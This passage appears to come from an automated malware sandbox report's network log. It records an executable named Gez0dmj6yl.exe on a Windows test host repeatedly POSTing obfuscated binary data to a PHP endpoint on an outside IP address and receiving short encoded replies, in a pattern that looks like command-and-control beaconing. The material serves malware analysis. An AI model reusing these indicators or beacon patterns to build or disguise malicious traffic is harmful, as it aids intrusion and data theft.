Sep 1, 2024 23:58:07.747971058 CEST	1756	OUT	Data Raw: 50 5c 5d 59 5d 5f 59 54 5b 5b 54 51 5b 51 56 52 57 52 5a 47 50 5c 51 5e 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: P\]Y]_YT[[TQ[QVRWRZGP\Q^^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#Z&2X#?:2;:T %$V;=8\1><(2(X1>933]<9G$#P/4
Sep 1, 2024 23:58:07.976702929 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:08.104876995 CEST	380	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 03 10 21 07 31 2e 0d 56 26 2c 36 16 26 57 34 53 2b 34 23 18 3a 07 2f 12 20 1d 38 55 2c 05 2d 04 22 0a 26 41 2b 3a 23 06 3c 2e 24 55 21 27 20 51 04 12 21 18 22 3d 3e 0f 39 3b 25 5d 26 0b 33 5d 22 33 22 11 2a 29 35 13 22 5c 35 00 25 1d 0b 5d 29 2f 24 1e 3a 38 0d 1e 29 11 3e 1c 23 28 21 56 0f 12 25 50 32 07 09 12 30 02 30 12 26 3c 36 01 21 10 23 5c 37 07 3b 50 26 1d 2d 01 3c 3f 2b 59 2b 2e 3d 58 26 3f 29 04 24 2d 38 0c 30 16 23 50 2d 02 2f 52 04 31 56 54 Data Ascii: !1.V&,6&W4S+4#:/ 8U,-"&A+:#<.$U!' Q!"=>9;%]&3]"3"*)5"\5%])/$:8)>#(!V%P200&<6!#\7;P&-<?+Y+.=X&?)$-80#P-/R1VT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	49803	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:07.518452883 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:07.872924089 CEST	1040	OUT	Data Raw: 50 5c 58 52 5d 5f 5c 54 5b 5b 54 51 5b 5c 56 54 57 55 5a 43 50 52 51 5b 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: P\XR]_\T[[TQ[\VTWUZCPRQ[^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ %0:["?%"<C-91 W/Z$=<2+&.63'](+9G$#P/
Sep 1, 2024 23:58:08.093266964 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:08.221260071 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	49804	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:08.504869938 CEST	304	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue
Sep 1, 2024 23:58:08.857501030 CEST	1040	OUT	Data Raw: 55 5d 58 53 5d 5c 59 5f 5b 5b 54 51 5b 57 56 5e 57 5b 5a 41 50 59 51 5a 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U]XS]\Y_[[TQ[WV^W[ZAPYQZ^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#20:#,!'2E,: ,T8>4\$>'(14&>"%/;Y<;9G$#P/,
Sep 1, 2024 23:58:09.105931044 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:09.234352112 CEST	151	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	49805	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:09.361265898 CEST	304	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue
Sep 1, 2024 23:58:09.716531038 CEST	1040	OUT	Data Raw: 55 5d 58 53 5d 5b 5c 50 5b 5b 54 51 5b 56 56 50 57 5a 5a 40 50 58 51 5e 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U]XS][\P[[TQ[VVPWZZ@PXQ^^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ '3&X!2"A,*%V#4V;[(&(V<!Y2>5\'/ );9G$#P/(
Sep 1, 2024 23:58:09.935734987 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:10.060681105 CEST	151	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	49806	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:10.186845064 CEST	304	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue
Sep 1, 2024 23:58:10.544737101 CEST	1040	OUT	Data Raw: 55 5a 58 5d 5d 5e 59 54 5b 5b 54 51 5b 56 56 52 57 51 5a 49 50 5d 51 52 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UZX]]^YT[[TQ[VVRWQZIP]QR^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#^%:#/222D-!#6',&,S<"<25%/;(+9G$#P/(
Sep 1, 2024 23:58:10.762233019 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:10.888777971 CEST	151	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	49807	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:11.055233002 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:11.404079914 CEST	1040	OUT	Data Raw: 55 5e 58 5a 58 5c 59 50 5b 5b 54 51 5b 52 56 50 57 57 5a 46 50 53 51 58 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U^XZX\YP[[TQ[RVPWWZFPSQX^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#\&V&X6,"W220A:=4%;/=#1.;)1/%-%?<++9G$#P/
Sep 1, 2024 23:58:11.632344007 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:11.762254953 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	49808	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:11.889666080 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:12.247811079 CEST	1040	OUT	Data Raw: 55 5f 5d 5f 5d 5b 59 57 5b 5b 54 51 5b 54 56 54 57 52 5a 43 50 5c 51 52 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U_]_][YW[[TQ[TVTWRZCP\QR^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#'#&^!<!%!(-1S#/,$-'+#&='Y$+;9G$#P/
Sep 1, 2024 23:58:12.466377974 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:12.588903904 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	49809	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:12.719897032 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:13.075922012 CEST	1040	OUT	Data Raw: 55 5c 5d 5c 58 5b 59 57 5b 5b 54 51 5b 51 56 54 57 5b 5a 43 50 58 51 58 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U\]\X[YW[[TQ[QVTW[ZCPXQX^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#_139"/9& A,:&7+/-<%-+)1$=60?,(9G$#P/4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	49810	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:13.128745079 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1756 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:13.482168913 CEST	1756	OUT	Data Raw: 55 5c 58 53 58 5c 59 51 5b 5b 54 51 5b 50 56 5e 57 53 5a 48 50 5a 51 5a 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U\XSX\YQ[[TQ[PV^WSZHPZQZ^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#^&>Y6,"P'"9)%4$;= &-(T?1/&=9Y0(<;9G$#P/0
Sep 1, 2024 23:58:13.708430052 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:13.834485054 CEST	380	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:13 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 03 10 21 07 25 00 2f 54 26 01 00 54 32 08 28 1e 29 09 3b 1b 2d 3e 01 13 20 33 30 56 2c 2c 31 05 22 23 04 09 28 07 30 10 2b 2e 2b 0c 35 37 20 51 04 12 21 5c 35 5b 2e 0e 2d 2b 03 58 32 0c 33 1e 35 33 29 07 3c 3a 0f 1c 21 2a 3e 5b 31 20 36 03 3f 05 3f 0c 3a 3b 2b 1e 29 59 2e 57 34 02 21 56 0f 12 25 50 31 3a 23 1d 24 3f 24 1c 33 06 39 5d 35 10 24 02 23 5f 2c 0e 32 0d 31 01 28 01 38 00 28 13 0b 12 27 3c 21 03 27 04 3b 11 27 16 23 50 2d 02 2f 52 04 31 56 54 Data Ascii: !%/T&T2();-> 30V,,1"#(0+.+57 Q!\5[.-+X2353)<:!*>[1 6??:;+)Y.W4!V%P1:#$?$39]5$#_,21(8('<!';'#P-/R1VT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	49811	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:13.248379946 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:13.607203007 CEST	1040	OUT	Data Raw: 50 5b 58 52 5d 5f 59 54 5b 5b 54 51 5b 54 56 52 57 5a 5a 44 50 5c 51 5c 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: P[XR]_YT[[TQ[TVRWZZDP\Q\^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#&*_5Y2P&C:\!7%'8>+2[$T+0&)Z3?3<;9G$#P/
Sep 1, 2024 23:58:13.849601984 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:13.979187012 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	49812	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:14.108400106 CEST	304	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1032 Expect: 100-continue
Sep 1, 2024 23:58:14.466645956 CEST	1032	OUT	Data Raw: 55 5a 58 52 58 59 5c 52 5b 5b 54 51 5b 55 56 51 57 53 5a 47 50 5c 51 5f 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UZXRXY\R[[TQ[UVQWSZGP\Q_^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#\'0X611$B.V#& T/?$>'+?%=&'<'\<9G$#P/
Sep 1, 2024 23:58:14.699685097 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:14.828450918 CEST	151	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	49813	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:15.067568064 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1032 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:15.419770002 CEST	1032	OUT	Data Raw: 50 58 5d 58 58 59 59 55 5b 5b 54 51 5b 55 56 5f 57 56 5a 45 50 5f 51 5b 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: PX]XXYYU[[TQ[UV_WVZEP_Q[^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#& =!?&&#.!#',=X%[ R+1\2>!';Z<9G$#P/
Sep 1, 2024 23:58:15.650763035 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:15.782326937 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	49814	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:15.925220966 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1032 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:16.279082060 CEST	1032	OUT	Data Raw: 55 59 58 5b 5d 5e 5c 54 5b 5b 54 51 5b 55 56 50 57 51 5a 45 50 5a 51 52 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UYX[]^\T[[TQ[UVPWQZEPZQR^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ '0"Y>V&$D-:7%R,$Y&[$S<"?1>:0,;\?9G$#P/<
Sep 1, 2024 23:58:16.517113924 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:16.648555994 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	49815	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:16.780899048 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:17.138468981 CEST	1040	OUT	Data Raw: 50 5a 5d 59 5d 59 5c 52 5b 5b 54 51 5b 53 56 55 57 55 5a 48 50 58 51 53 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: PZ]Y]Y\R[[TQ[SVUWUZHPXQS^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#2#.[5<&%:9 ?/$]$-U+2(\2-Z$?,<;9G$#P/<
Sep 1, 2024 23:58:17.357327938 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:17.484747887 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	49816	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:17.612577915 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1032 Expect: 100-continue Connection: Keep-Alive
